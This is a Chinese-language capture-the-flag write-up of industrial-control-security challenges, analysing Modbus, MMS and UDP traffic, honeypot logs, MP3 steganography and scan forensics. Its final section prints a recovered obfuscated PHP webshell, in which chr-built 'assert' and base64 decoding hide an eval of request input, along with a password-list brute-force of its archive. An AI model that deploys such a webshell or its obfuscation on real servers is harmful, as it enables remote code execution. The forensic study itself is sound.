目录
Modbus协议
MMS协议分析
大工UDP协议
工控蜜罐日志分析
隐信道数据安全分析
工控安全取证
隐藏的黑客
Modbus协议
黑客通过外网进入一家工厂的控制网络,之后对工控网络中的操作员站系统进行了攻击,最终通过工控协议破坏了正常的业务。我们得到了操作员站在攻击前后的网络流量数据包,我们需要分析流量中的蛛丝马迹
题目说他通过协议破坏了正常的业务,也就是功能码写入或者修改了寄存器数据
寄存器功能码 03:读取 06:写入单个 16:写入多个
wireshark语句查询到存在写入
得到flag{TheModbusProtocolIsFunny!}
MMS协议分析
工业网络中存在的异常,尝试通过分析PACP流量包,分析出流量数据中的异常 点
根据长度发现一个特别长的流量包
里面是base64编码,看样子是base64编码的图片
点这里可以导出右侧的字符串部分
浏览器显示 flag{ICS-mms104}
或者找转换工具都行
大工UDP协议
在进行工业企业检查评估工作中,发现了疑似感染恶意软件的上位机。现已提取出上位机通信流量,尝试分析出异常点
udp contains "flag" 进行过滤
追踪udp流
666c6,flag的16进制,转换一下得到
工控蜜罐日志分析
工控安全分析人员在互联网上部署了工控仿真蜜罐,通过蜜罐可抓取并分析互联网上针对工业资产的扫描行为,将存在高危扫描行为的IP加入防火墙黑名单可有效减少工业企业对于互联网的攻击面。分析出日志中针对西门子私有通信协议扫描最多的IP,分析该扫描组织,Flag为该IP的域名
指的就是这个协议
脚本处理
from re import *
with open('honeypot.log', 'r') as f:mydict, iplist = {}, []lines = f.readlines()for line in lines:if 's7' in line.lower():iplist += findall(r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}', line)else:passfor ip in iplist:mydict[ip] = mydict.get(ip, 0) + 1res = sorted(mydict.items(), key=lambda item: item[1], reverse=True)num = 0for data in res:num += 1print('{0}: {1}'.format(num, data))
结果:
ip反查域名
隐信道数据安全分析
安全分析人员截获间谍发的秘密邮件,该邮件只有一个MP3文件,安全人员怀疑间谍通过某种private的方式将信息传递出去,尝试分析该文件,获取藏在文件中的数据
010里面发现题目描述的private
from binascii import *
with open('flag-woody.mp3', 'rb') as f:init_mpeg_hdr = 0x1c1b8mpeg_data_block = 0x0flag = ''while True:next_mpeg_hdr = init_mpeg_hdr + mpeg_data_blockf.seek(next_mpeg_hdr)bin_data = bin(int(hexlify(f.read(4)), 16))[2:]flag += bin_data[23]mpeg_data_block += 0x414if int(str(next_mpeg_hdr), 16) > len(f.read()):breakfor i in range(0, len(flag), 8):try:res_flag = chr(int(flag[i:i+8], 2))print(res_flag,end="")except:pass
flag{pr1v4t3_bi7}
工控安全取证
有黑客入侵工控设备后在内网发起了大量扫描,而且扫描次数不止一次。 请分析日志,指出对方第4次发起扫描时的数据包的编号
这个文件本质是一个pcap文件,拖进wireshark进行分析, 发现了192.168.0.9
、192.168.0.199
、192.168.0.1
、192.168.0.254
共四个,流量包前面大部分都是192.168.0.9
在进行SYN扫描192.168.0.99
。
分别截取,每个IP扫描前,都进行了Ping操作,即第一次扫描都是Ping扫描。
所以第四个IP第一次扫描的包编号为:155989
;源IP地址为:192.168.0.199
flag{155989}
192.168.0.1
192.168.0.199
192.168.0.9
192.168.0.254
针对wireshark最常用的自然是针对IP地址的过滤。其中有几种情况: (1)对源地址为192.168.0.1的包的过滤,即抓取源地址满足要求的包。表达式为:ip.src == 192.168.0.1 (2)对目的地址为192.168.0.1的包的过滤,即抓取目的地址满足要求的包。表达式为:ip.dst == 192.168.0.1 (3)对源或者目的地址为192.168.0.1的包的过滤,即抓取满足源或者目的地址的ip地址是192.168.0.1的包。表达式为:ip.addr == 192.168.0.1,或者 ip.src == 192.168.0.1 or ip.dst == 192.168.0.1 (4)过滤地址段。 表达式为:ip.addr == 192.168.0.0/24 (5)要排除以上的数据包,我们只需要将其用括号囊括,然后使用 “!” 即可。表达式为:!(表达式)
隐藏的黑客
根据情报得知工控现场发现某SCADA系统被黑客攻破,附件为黑客在目录留下的文件和当时时间段捕获到的一部分流量包,你能根据这些信息分析出蛛丝马迹来么
追踪一下http的包,发现有webshell的压缩包
导入010存储为1.zip
但是是需要密码的
写个脚本获取upload文件中每个webshell的登陆密码
import os,sys
import reif __name__ == '__main__':a = []for i in os.listdir('./upload'):with open('./upload/'+i,'r') as f:passwd = re.findall('\[(.*?)\]',f.readline())[0]a.append(passwd)with open('passwd.txt','a+') as f:for i in a:f.write(i+'\n')
获取到密码本,进行字典爆破
爆出密码
webshell.php:
<?php
error_reporting(0);
@$c = array("1JFUVVFU1RbJzlhNzJjM","2Q1ZTc0ZjYwNTFiYjNiMzU","5MGZhOTMxOWZlJ10pOw","MGZhOTMxOWZlJ","MGZhOTMxOWZlJ");
@$str="ZXZhbCgkX";
@$o0o00o00o00o0o0 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
@$ooo00o0o0o0o0o0 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
@$count = 0;
for($x=0;$x<=9;$x++){if (in_array($x, @$c)){@$str=@$str.@$c[@$count];if ($count == 2){ @$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str));}@$count++;}
}
?>
flag{9a72c3d5e74f6051bb3b3590fa9319fe}